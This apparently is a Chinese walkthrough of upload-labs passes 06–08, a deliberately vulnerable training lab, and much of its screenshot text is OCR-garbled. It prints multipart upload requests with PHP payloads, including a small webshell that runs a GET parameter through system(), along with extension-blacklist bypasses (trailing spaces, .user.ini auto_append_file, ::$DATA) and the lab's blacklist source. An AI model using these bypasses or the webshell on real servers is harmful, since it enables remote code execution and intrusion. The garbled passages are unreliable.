5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2			上传区	K.									
6 Accept-Encoding: gzip, deflate													
7 Content-Type: multipart/form-data;	5	9	<form e<="" td=""><td>nctv</td><td>e="mul"</td><td>tipar</td><td>t/form-</td><td>data"</td><td>method="pos</td><td>t″onsubmit=″:</td><td>return check</td><td>lile()"></td><td>></td></form>	nctv	e="mul"	tipar	t/form-	data"	method="pos	t″onsubmit=″:	return check	lile()">	>
boundary=27631567323546033550998626937	6	0	<q>></q>						• • •				
8 Content-Length: 390			请送	先择要	上传的图	图片:	<g></g>						
9 Origin: http://192.168.58.21:8080	6	1	<	input	class	="int	out file	<pre>type</pre>	="file" name	"upload file	e″/>		
10 Connection: close	6	2	<	input	class	="but	tton ty	pe=″su	bmit″ name='	"submit" valu	e="上传"/>		
11 Referer: http://192.168.58.21:8080/Pass-06/index.php	6	3	<td>orm></td> <td></td> <td></td> <td></td> <td>· · ·</td> <td></td> <td></td> <td></td> <td></td> <td></td>	orm>				· · ·					
12 Upgrade-Insecure-Requests: 1	6	4	<di< td=""><td>v id=</td><td>msg"></td><td>,</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></di<>	v id=	msg">	,							
13	6	5	<td>liv></td> <td>-</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	liv>	-								
142763156732354603355099 <mark>8626937</mark>	6	6	<di< td=""><td>v id=</td><td>img"></td><td>,</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></di<>	v id=	img">	,							
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php.aaa.xxx"	6	7	<	img s	src="	/uplo	ad/2022	041702	56389121. xx:	x″width=″250	px" />		
16 Content-Type: application/octet-stream				-									
17			<td>li v></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	li v>									
18 php phpinfo(); ?	6	8	1i	-									
19	6	9											
20	7	0											
2127631567323546033550998626937	7	1											
22 Content-Disposition: form-data; name="submit"	7	2 <	/div>										
23	7	3 <	div id="fo	oter	>								
24 上传	7	4	<center></center>										
2527631567323546033550998626937			Copyrig 	ht&nk	osp;@&nl	ibsp;<	(span id	="сору	right_time"	>			
				-	-								

虽然上传成功了,但是这里的文件只保留了最后的那个后缀,但是可以看出,这里使用的还是黑名单过滤,根据响应数据,知道这个服务端 是apache/2.4,搜索了一下CVE

Apache <i>换行解析漏洞</i> (CVE-2017-15715)
影响版本
Apache httpd 2.4.0 ~ 2.4.29
原理
在正则表示式中,\$用来匹配字符串结尾位置,但如果设置了RegExp对象的Multiline属性,\$也匹配\n或者\r。
<i>配置文件</i>
<filesmatch \.php\$=""></filesmatch>
SetHandler application/x-httpd-php

发送(Send) 取消(Cancel) < Y > Y		目标
请求(Request)		响应(Respons)
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 In	=	美化(Pretty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers) 🗐 \n ☰
1 POST /Pass-06/index.php HTTP/1.1		1 HTTP/1.1 200 0K
2 Host: 192.168.58.21:8080		2 Date: Sun. 17 Apr 2022 02:56:38 GMT
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0		3 Server: Apache/2.4.10 (Debian)
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp,*/*;q=0.8		4 Vary: Accept-Encoding
5 Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2		5 Content-Length: 3579
6 Accept-Encoding: gzlp, deflate		6 Connection: close
7 Content-Type: multipart/form-data;		7 Content-Type: text/html;charset=utf-8
boundary=27631567323546033550998626937		8
8 Content-Length: 390		9 (html)
9 Urigin: http://192.168.58.21:8080		10 <nead></nead>
10 Connection: close		<pre>iii <meta charset="utf-8" content="text/html;" http="equiv="/></pre>
11 Keferer: http://192.108.58.21:8080/Pass-06/index.php		12 12 12 ink rel= icon type= image/x-icon href= /img/favicon.png />
12 Upgrade-Insecure-Kequests: 1		12 (414)->
13		13 (title)
14 - 2/05130/32334003530434022033/		
Content-Disposition. form-data, name-upload_file, filename-phpfnic.php.aaa.xxx		
To content type. appreation/octet stream	1.	14 (Meau)

测试了一下,将空格的hex编码20改成00 然后上传,发现不行,所以还是先看下源码



请求(Request)	响应(Resp	spons)	
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 \n ☰	美化(Pretty)	tty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers) 🚍 \n	≡
1 POST /Pass-06/index.php HTTP/1.1			
2 Host: 192.168.58.21:8080	59	<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"></form>	
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0	60		
4 Accept: text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, */*; q=0.8		请选择要上传的图片:	
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2	61	<pre><input class="input_file" name="upload_file" type="file"/></pre>	
6 Accept-Encoding: gzip, deflate	62	<input class="button" name="submit" type="submit" value="上传"/>	
7 Content-Type: multipart/form-data;	63		
boundary=27631567323546033550998626937	64	<pre><div id="msg"></div></pre>	
8 Content-Length: 381	65	提示: 此文件不允许上传	
9 Origin: http://192.168.58.21:8080			
10 Connection: close	66	<div id="img"></div>	
11 Referer: http://192.168.58.21:8080/Pass-06/index.php	67		
12 Upgrade-Insecure-Requests: 1	68	1i	
13	69		
1427631567323546033550998626937	70		
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"	71		
16 Content-Type: application/octet-stream	72		
17	73	<div id="footer"></div>	
18 php phpinfo(); ?	74	<center></center>	
19		Copyright @ 	
20			
2127631567323546033550998626937		by 	
22 Content-Disposition: form-data; name="submit"		c0ny1	
23			
24 上传			
2527631567323546033550998626937	75		
	76	<div class="mask"></div>	

\$is_upload = false;

```
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHt",".pHp",".pHp5",".pHp4",".pHp2",".Html",".Htm
",".pHtml",".jsp",".jspa",".jspx",".jsw',".jsv",".jspf",".jtml",".jSp",".jSpx",".jSv",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx"
,".asmx",".cer",".aSp",".aSpx",".aSax",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
```

```
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', ", $file_ext);//去除字符申::$DATA
if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
    if (move_uploaded_file($temp_file,$img_path)) {
        $is_upload = true;
        } else {
            $msg = '上传出错! ';
        }
} else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建! ';
```

源码中 没有限制两端的空格,只对后缀进行了转换成小写的,剔除了 ::**\$DATA** 字符串,这就可以利用**Windows的特性**进行绕过,windows 系统保存文件的时候文件后缀末尾的**空格**和**.**都会默认删除掉。用 windows 环境来测试这题。

响应(Respons)

美化(Pretty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers)

1 HTTP/1.1 200 OK

- 2 Date: Sun, 17 Apr 2022 03:34:55 GMT
- 3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
- 4 X-Powered-By: PHP/5.4.45
- 5 Connection: close
- 6 Content-Type: text/html;charset=utf-8
- 7 Content-Length: 5162



\leftarrow \rightarrow \checkmark \uparrow \square \ll php	study_pro > WWW > upload-labs-n	naster > upload	5 V	搜索"upload"	
➡ 下载 ★ ^	^ 名称	修改日期	类型	大小	
	202204171133541153.xxx	2022/4/17 11:33	XXX 文件	1 KB	
📰 图片 🛛 🖈	202204171134554702.php	2022/4/17 11:34	PHP 文件	1 KB	
vulnpack	📄 readme.php	2020/1/15 22:38	PHP 文件	1 KB	
📑 视频					
▶ 音乐					
 OneDrive 					
🔜 此电脑					
🧊 3D 对象					
📲 视频					
≥ 图片					
🔮 文档					
🕹 下载					
▶ 音乐					
「 「 古 雨 」					
Dec 124					
🌉 本地磁盘 (C:)					

re uplead-labs × phpinfor) × +			сел снернерл 🖘 😤 🏷
← → C () 🏠 192.168.93.128:8080/upload/202204171134554702.p	пр		E ☆ ♡ ⊁ ♥ > ↓
	PHP Versio	n 5.4.45 Php	
	System	Windows NT DESKTOP-42010LK 6.2 build 9200 (Windows 8 Business Edition) i586	
	Build Date	Sep 2 2015 23:45:20	
	Compiler	MSVC9 (Visual C++ 2008)	
	Architecture	x86	
	Configure Command	script hologo confugra (s)	
	Server API	CGI/FastCGI	
	Virtual Directory Support	disabled	
	Configuration File (php.ini) Path	C:\Windows	
	Loaded Configuration File	E\phpstudy_pro\Extensions\php\php5.4.45nts\php.ini	
	Scan this dir for additional .ini files	(none)	
	Additional .ini files parsed	(none)	
	PHP API	20100412	
	PHP Extension	20100525	
	Zend Extension	220100525	
	Zend Extension Build	API220100525,NTS,VC9	
	PHP Extension Build	API20100525,NTS,VC9	
	Debug Build	no	
	Thread Safety	disabled	

为什么这题只能用空格来绕过呢,而不能用点?因为源码中有 strrchr()函数,会截取最后一个点的位置到字符串的最后的全部字符,如果用 点的话,最后是不能存在php 这个字符串,所以只能用空格来绕过。

方法: 空格绕过

Pass-07 (Nginx 环境)

还是一样先测试

发送(Send)									目标:
请求(Request)		函应(Respoi	1s)					=	
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies ラ \n Ξ	\$	美化(Pretty)	原始(Raw)	16进制(Hex)	响应内容(Render)	请求头(Headers)		🗐 \n	=
1 POST /Pass-07/index.php HTTP/1.1	52								
2 Host: 192.168.58.21:8080	53		<1i>>						
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0	54		<h3></h3>						
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0.8			住务						
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2									
6 Accept-Encoding: gzip, deflate	55		<	A (1)					
7 Content-Type: multipart/form-data;			二1至	-le-11					
boundary=375609320320071873892610386790			web	snell					
8 Content-Length: 449			COO</td <td>1e / 7 RB</td> <td></td> <td></td> <td></td> <td></td> <td></td>	1e / 7 RB					
9 Origin: http://192.168.58.21:8080			到服勇	រី ហ៍ពិ •					
10 Connection: close	50								
11 Referer: http://192.168.58.21:8080/Pass-07/index.php	57		(11)						
12 Upgrade-Insecure-Requests: 1	50		(h2)						
13	50		上在区	Z					
14			(h3)	7					
<pre>15 Content-Disposition: form-data; name="upload_file"; filename="cmd_get_info.123456"</pre>	59		(form e	nctype="mult	ipart/form-data"	method="nost" on	submit="return_ch	eckFile()">	
16 Content-Type: applidation/octet-stream	60			neeype mare	ipart/ioim data	metriod post on	Submit Teturn ch	eckrife() /	
17	00		请讲		片·〈n〉				
	61		(11/2	input class=	"input file" typ	e="file" name="un	load file"/>		
Is send = s_GEL[INIO];	62		~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~	input class=	"hutton" type="s	ubmit″name=″subm	it" value="上传"/	>	
20 %getsheil = system(%cmd);	63		<td>orm></td> <td>Saccon cype s</td> <td>domit o mano baom</td> <td>are funde anje /</td> <td></td> <td></td>	orm>	Saccon cype s	domit o mano baom	are funde anje /		
21 print_r(\$getsneil);	64		<di< td=""><td>v id="msg"></td><td></td><td></td><td></td><td></td><td></td></di<>	v id="msg">					
22 17 22	65		<td>iv></td> <td></td> <td></td> <td></td> <td></td> <td></td>	iv>					
23	66			v id="img">					
25 Content Disposition. form data, name- scont	67		<	img src="/	upload/cmd get i	nfo.123456″width	="250px" />		
26 F#									
27			<td>liv></td> <td></td> <td></td> <td></td> <td></td> <td></td>	liv>					
	68		1i						
	69								
	70								
	71								
	72								
	73		<div id="fo</td><td>oter"></div>						
	74		<center></center>						
			Copyrig	ht @&nb	sp; <span id="cop</td><td>yright_time">				

这很清晰了,就是黑名单了,这次没有修改文件的名字,应该会比较好做一点,因为是apache服务器,所以先试试.htaccess 也没有被 ban



.htaccess 文件被ban掉了,又测试了下 .user.ini 文件,发现这个可以上传,也就是说,如果运行在 Nginx 下的话,这里就上传webshell 了,.user.ini可以覆盖当前目录下以及子目录的配置,以下在 Nginx 环境中测试



访问一下 readme.php 文件(如果环境中没有这个文件,就自己建一个),**auto_append_file=shell.ppp** 这句配置会在访问当前目录下php 文件的时候提前以php代码解析这个 shell.ppp 文件。

n upload-labs × phpinfo() × +				
← → C () & 192.168.93.128:8080/upload/readme.php				
Not Delete File				
	PHP Versi	on 5.4.45	php	
	System	Windows NT DESKTOP-42010UK 6.2 build 9200 (Windows 8 Bus	siness Edition) i586	
	Build Date Compiler	Sep 2 2015 23:45:20 MSVC9 (Visual C++ 2008)		
	Architecture	x86		
	Configure Command	cscript/mologo.configure.js "enable-snapshot-build" "-enable-de zls" "disable-isapi" "disable-nsapi" "without-mssql" "without- pi3web" "-with-pdo-ce:C):php-sdk/oracle\u00fcnstantclient10\sdk.sha oci8=C:\php-sdk/oracle\u00ecinstantclient10\sdk.shared" "with-oci8-11	ebug-pack"disable- pdo-mssql" "without- red"with- g=C:\php-sdk\oracle	
# 源码				
\$is_upload = false;				
\$msg = null;				
if (isset(\$_POST['submit'])) {				
if (file_exists(UPLOAD_PATH)) {				
<pre>\$deny ext = array(".php",".php5",".php4",".php3",".php2"</pre>	,".html",".h	.tm",".phtml",".pht",".pHp",".pHp5",".p	Hp4",".pHp3",".pHp2",".	Html",".Htm
",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".j	Spx",".jSpa	ı",".jSw',".jSv",".jSpf",".jHtml",".asp",".	aspx",".asa",".asax",".as	scx",".ashx"
.".asmx".".cer".".aSp".".aSpx".".aSa".".aSax".".aScx".".aShx".".a	Smx" ".cEi	r".".sWf".".swf".".htaccess"):		
\$file name = trim(\$ FILES['upload file']['name']):				
file ext = strrchr(file name '')				
\$file_ext = strtolower(\$file_ext): //结换为小写				
\$file_ext = str_ireplace('::\$DATA' " \$file_ext)://主险之符。	⊈⊷¢∩∆⊤∆			
file_oxt = trim(file_oxt): //首尾土容	+			
ome_ext − umi(ome_ext), <i>n ⊨ μ≤⊥</i>				
if (lin array(\$file ext \$deny ext)) {				
<pre>\$tomp file = \$ Ell ES['uplead file']['tmp name'];</pre>				
<pre>\$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$</pre>				
\$1119_Patt - OFLOAD_FATH. / .\$111e_tatte,				
li (move_uploaded_nie(\$temp_nie, \$img_path)) {				
sis_upidad = true;				
\$msg = '上传出错!';				
}				
} else {				
} else { \$msg = '此文件类型不允许上传!';				
} else { \$msg = '此文件类型不允许上传!'; }				
} else { \$msg = '此文件类型不允许上传!'; } } else {				
} else { \$msg = '此文件类型不允许上传!'; } } else { \$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';				

方法: Nginx 敏感配置文件上传

Pass-08 (Windows 环境)

先上传了一个png后缀的shell文件测试能不能上传

发送(Send) 取消(Cancel) < ▼ > ▼	目标: htt
请求(Request)	响应(Respons)
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 \n ☰	美化(Pretty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers) 🚍 \n ☰
<pre>POST /Pass=OS/index.php HTP/1.1 2 Host: 192.168.58.21:8080 3 User-Agent: Mosilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 4 Accept text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,image/webp,*/*;q=0.8 5 Accept-Encoding: gzip, deflate 7 Content-Type: multipart/form-data; boundary=</pre>	<pre>57 (ii) 58 (ii) 59 (form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"> 60 (p) 60 (p) 61 (input class="input_file" type="file" name="upload_file"/> 62 (input class="button" type="submit" name="submit" value="l_ft"/> 63 (/form> 64 (div ide="msg"> 65 (/div> 65 (/div> 66 (div id="img="> 67 (ing grc=1/upload/202204171241021804.png" width="250px" /> 68 (/li) 70 (/div> 71 (/div> 72 (/div> 73 (div id="footer"> 74 (center> 75 (/div) 75 (/div) 75 (/div) 76 (div is="mask"> 76 (div is="mask"> 76 (div) 76 (div) 77 (div) 78 (div) 79 (/div) 79 (/div) 70 (/div) 70 (/div) 70 (/div) 71 (/div) 73 (div is="mask"> 75 (/div) 75 (/div) 76 (div) 76 (div) 76 (div) 76 (div) 77 (li) 78 (div) 79 (/div) 79 (/div) 70 (/div) 70 (/div) 70 (/div) 70 (/div) 71 (/div) 71 (/div) 72 (/div) 73 (/div) 74 (/div) 75 (/div) 75 (/div) 76 (div) 76 (div) 76 (div) 76 (div) 76 (div) 77 (li) 78 (/div) 79 (/div) 70 (/div) 7</pre>

可以上传,而且这里又改了文件名,再试试.htaccess 文件能不能上传,还有其他一些敏感文件。

		1.							Inspect
请求(Request)	_		响 <u>际(</u> Respon	S)					mapuer
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies	🥽 🗤 🚍		美化(Pretty)	原始(Raw)	16进制(Hex)	响应内容(Render)	请求头(Headers)	🚍 \n 🚍	Request
1 POST /Pass-08/index.php HTTP/1.1				上传一	・个 <code></code>				
2 Host: 192.168.58.21:8080				webs	shell				Request (
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;	; rv:100.0) Gecko/20100101 Firefox/100.0			<td>e></td> <td></td> <td></td> <td></td> <td>request</td>	e>				request
4 Accept: text/html, application/xhtml+xml, application/	xml;q=0.9,image/avif,image/webp,*/*;q=0.8			到服务	-88.				Paguast
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0	0. 5, en-US; q=0. 3, en; q=0. 2								Request
6 Accept-Encoding: gzip, deflate		5	6						-
7 Content-Type: multipart/form-data;		5	7	<1i>>					Request
boundary=31224364818962488	868427615791	5	8	<h3></h3>					
8 Content-Length: 383				上传区					请求头(Re
9 Origin: http://192.168.58.21:8080									
10 Connection: close		5	9	<form er<="" td=""><td>nctype="multi</td><td>part/form-data"</td><td>'method="post" onsubmit</td><td>t="return checkFile()"></td><td>Response</td></form>	nctype="multi	part/form-data"	'method="post" onsubmit	t="return checkFile()">	Response
11 Referer: http://192.168.58.21:8080/Pass-08/index.php		6	0						
12 Upgrade-Insecure-Requests: 1				请选	[择要上传的图]	牛: >			
13		6	1	<i< td=""><td>input class='</td><td>'input_file" typ</td><td>e="file" name="upload_i</td><td>file"/></td><td></td></i<>	input class='	'input_file" typ	e="file" name="upload_i	file"/>	
14 312243648189624886842764	15791	6	2		input_class='	'button"_typq ="s	submit" name="submit" va	alue="上传"/>	
15 Content-Disposition: form-data; name="upload_file"; i	filename="phpinfo.htaccess"	6	3	<td>orm></td> <td></td> <td></td> <td></td> <td></td>	orm>				
16 Content-Type: application/octet-stream		6	4	<div< td=""><td>v id="msg"></td><td></td><td></td><td></td><td></td></div<>	v id="msg">				
17		6	5	提	显示: 此文件类	型不允许上传!			
18 php phpinfo(); ?		-			iv>				
19		6	6	<div< td=""><td>v id=″img″></td><td></td><td></td><td></td><td></td></div<>	v id=″img″>				
20		6	7	<td>iv></td> <td></td> <td></td> <td></td> <td></td>	iv>				
21312243648189624886842761	15791	6	8	1i					
22 Content-Disposition: form-data; name="submit"		6	9						
23		7	0						
24 上传		7	1						
25312243648189624886842761	15791	7	2	/div>					
		7	3 <	div id="foo	oter">				
		7	4	<center></center>					
				I	1	2 - 1 A.M.	A A A A A A A A A A A A A A A A A A A		

法北/Poquest)	marts/D		80 J
H#(request)	HINDY (F	(espons)	
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 📅 In Ξ	美化(P	Pretty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers) 🔜 🗤	=
1 POST /Pass-08/index.php HTTP/1.1	55		
2 Host: 192.168.58.21:8080		115-17 <code></code>	
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0		webshell	
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp,*/*;q=0.8			
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2		判取介益。 (1-)	
6 Accept-Encoding: gzip, deflate	56		
7 Content-Type: multipart/form-data;	50		
boundary=	50		
8 Content-Length: 379	30		
9 Origin: http://192.168.58.21:8080			
10 Connection: close	59	<pre>\/no/ </pre> /form operupe="multipart/form-date" method="pact" operupmit="return checkBile()")	
11 Referer: http://192.168.58.21:8080/Pass-08/index.php	60	(a)	
12 Upgrade-Insecure-Requests: 1	00	「清洗择薬上使的图片・ <n></n>	
13	61	interfection of the second file name="unload file"/>	
143122436481896248868427615791	62	(input class="button" type="lumit" name="submit" value="上作"/>	
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php5"	63		
16 Content-Type: application/octet-stream	64	<pre> div id="msg"></pre>	
	65	提示:此文件类型不允许上传:	
18 (>php phpinfe(); >>		<td></td>	
	66	<div id="img"></div>	
20 21 22 21 22 426 401 2062 40266 42761 5701	67		
21	68	1i	
22 concent-preposition: form-data, name- scomit	69		
	70		
21 1/12 25	71		
5122750701090270000421013131	72		
	73	<div id="footer"></div>	

请求(Request)	响应(Resp	pons)				
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 \n ☰	美化(Pretty	ty) 原始(Raw)	16进制(Hex)	响应内容(Render)	请求头(Headers)	🗐 \n 🚍
1 POST /Pass-08/index.php HTTP/1.1	55					
2 Host: 192.168.58.21:8080		上传一	-个 <code></code>			
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0		web	shell			
4 Accept: text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, */*; q=0.8		<td>le></td> <td></td> <td></td> <td></td>	le>			
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2		到服务	子器.			
6 Accept-Encoding: gzip, deflate						
7 Content-Type: multipart/form-data;	56					
boundary=	57	<1i>>				
8 Content-Length: 379	58	<h3></h3>				
9 Origin: http://192.168.58.21:8080		上传区	<			
10 Connection: close						
11 Referer: http://192.168.58.21:8080/Pass-08/index.php	59	<form e<="" td=""><td>nctype="multi</td><td>part/form-data"</td><td>method="post" onsubm:</td><td>it="return checkFile()"></td></form>	nctype="multi	part/form-data"	method="post" onsubm:	it="return checkFile()">
12 Upgrade-Insecure-Requests: 1	60					
13		请送	选择要上传的图》	†:		
143122436481896248868427615791	61	<	input class="	input_file type	="file" name="upload	_file"/>
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.Php5"	62	<	input class="	button" type="su	bmit″ name=″submit″ '	value="上传"/>
16 Content-Type: application/octet-stream	63	<td>orm></td> <td></td> <td></td> <td></td>	orm>			
17	64	<di< td=""><td>v id="msg"></td><td></td><td></td><td></td></di<>	v id="msg">			
<pre>l8 <?php phpinfo(); ?></pre>	65	叔	是示:此文件类生	也不允许上传!		
19		<td>liv></td> <td></td> <td></td> <td></td>	liv>			
20	66	<di< td=""><td>v id="img"></td><td></td><td></td><td></td></di<>	v id="img">			
213122436481896248868427615791	67	<td>liv></td> <td></td> <td></td> <td></td>	liv>			
22 Content-Disposition: form-data; name="submit"	68	1i	•			
23	69					
24 上传	70					
253122436481896248868427615791	71					
	72					

测试就可以看得出,这里又是一个比较全的黑名单过滤

请求(Request)	响应(Resp	ons)				
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 \n ☰	美化(Pretty)	原始(Raw)	16进制(Hex)	响应内容(Render)	请求头(Headers)	🥽 \n 🚍
1 POST /Pass-08/index.php HTTP/1.1		上传一	-个 <code></code>			
2 Host: 192.168.58.21:8080		webs	shell			
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0		<td>e></td> <td></td> <td></td> <td></td>	e>			
4 Accept: text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, */*; q=0.8		到服务	器.			
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2						
6 Accept-Encoding: gzip, deflate	56	1i				
7 Content-Type: multipart/form-data	57	<1i>>				
boundary=3122436481896248868427615791	58	<h3></h3>				
8 Content-Length: 382		上传区				
9 Origin: http://192.168.58.21:8080						
10 Connection: close	59	<form er<="" td=""><td>nctype="mult</td><td>ipart/form-data"</td><td>method="post" or</td><td>nsubmit="return checkFile()"></td></form>	nctype="mult	ipart/form-data"	method="post" or	nsubmit="return checkFile()">
11 Referer: http://192.168.58.21:8080/Pass-08/index.php	60					
12 Upgrade-Insecure-Requests: 1		请选	1.择要上传的图	片:		
13	61	4	input class=	<u> "input_file" typ</u>	e="file" name="up	pload_file"/>
143122436481896 <mark>2</mark> 48868427615791	62	<i< td=""><td>input class=</td><td>"button" type="s</td><td>ubmit″ <mark>name=</mark>″subr</td><td>mit″ value=″上传″/></td></i<>	input class=	"button" type="s	ubmit″ <mark>name=</mark> ″subr	mit″ value=″上传″/>
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php5 . "	63	<td>orm></td> <td></td> <td></td> <td></td>	orm>			
16 Content-Type: application/octet-stream	64	<di td="" v<=""><td>v id="msg"></td><td></td><td></td><td></td></di>	v id="msg">			
17	65	提	显示: 此文件类	:型不允许上传!		
18 php phpinfo(); ?		<td>iv></td> <td></td> <td></td> <td></td>	iv>			
19	66	<di td="" v<=""><td>v id="img"></td><td></td><td></td><td></td></di>	v id="img">			
20	67	<td>iv></td> <td></td> <td></td> <td></td>	iv>			
213122436481896248868427615791	68	1i				
22 Content-Disposition: form-data; name="submit"	69					
23	70					
24 上传	71					
253122436481896248868427615791	72					
	73	<div id="foo</td><td>oter"></div>				
	74	<center></center>				
		Copyrigh	ht @&nb	sp; <span id="″cop</td"><td>yright_time"></td><td></td>	yright_time">	
		Sohen h	vênhen (a hr	of="http://au7_m	o" targot=" hank'	

从这个测试应该不难看出,我上传文件的后面的【 空格 点 空格 】都被过滤掉了。



根据上面的测试,这里的过滤代码中依然是过滤两次**空格**一个**点**,然后截取**点**之后的全部字符作为后缀,对文件进行了改名,如果在 Windows下可以尝试使用**::\$DATA或者%80~%99** 这些windows中可以使用的空字符来进行绕过。

请求(Request)	响应(Respons)	In
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 In ☰	美化(Pretty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers) 🚍 \n ☰	Se
<pre>1 POST /Pass-08/index.php HTTP/1.1 2 Host: 192.168.93.128 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8</pre>	54 《h3》 任务 《h3》 55 《p》 上传一个 <code》< td=""><td>36</td></code》<>	36
5 Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2 6 Accept-Encoding: gzip, deflate 7 Content-Type: multipart/form-data; boundary====================================	webshell 到服务器。 	Re
8 Content-Length: 395 9 Origin: http://192.168.93.128 10 Connection: close	56 11 57 <11> 58 13	Re
11 Refere: http://152.106.55.120/fass-06/index.pnp 12 Upgrade-Insecure-Requests: 1 13 14	L:fFiX 59 <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"> 60 (n></form>	Re 请
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php::\$DATA ." 16 Content-Type: application/octet-stream 17	请选择要上佐的图片: 61 <input class="input file" name="upload_file" type="file"/> 62 <input class="button" name="submit" type="submit" value="上传"/>	Re
<pre>18 {?php phpinfo(); ?> 19 20 2179166158242377134681757164617 22 Content-Disposition: form-data; name="submit" 23 24 1-#</pre>	63 64 65 66 66 66 67 67 <td></td>	
25	68 69 70	

Windows 中保存后缀有 :: DATA* ... 文件时 今收, DATA 去除

📙 🛃 📙 🖛 upload					- 🗆 🗙
文件 主页 共享	查看				~ 😮
← → • ↑ 🔒 « WV	VW ightarrow upload ightarrow v	ē			
🔮 文档 🛛 🖈 ^	へ 名称		修改日期	类型	大小
📰 图片 🛛 🖈	202204172142336367		2022/4/17 21:42	文件	1 KB
vulnpack	202204172144341118.php		2022/4/17 21:44	PHP 文件	1 KB
WWW					
🗃 视频					
♪ 音乐					
 OneDrive 					
🔜 此电脑					
🧊 3D 对象					
ETT ADJER					

phpinfo() ×	+				SFA	SH
$\leftarrow \ \rightarrow \ \mathbf{G}$	🔿 掻 192.168.93.128/upload/202204172144341118.php				∃ ☆	0 11 1
		PHP Version	5.2.17 Php			
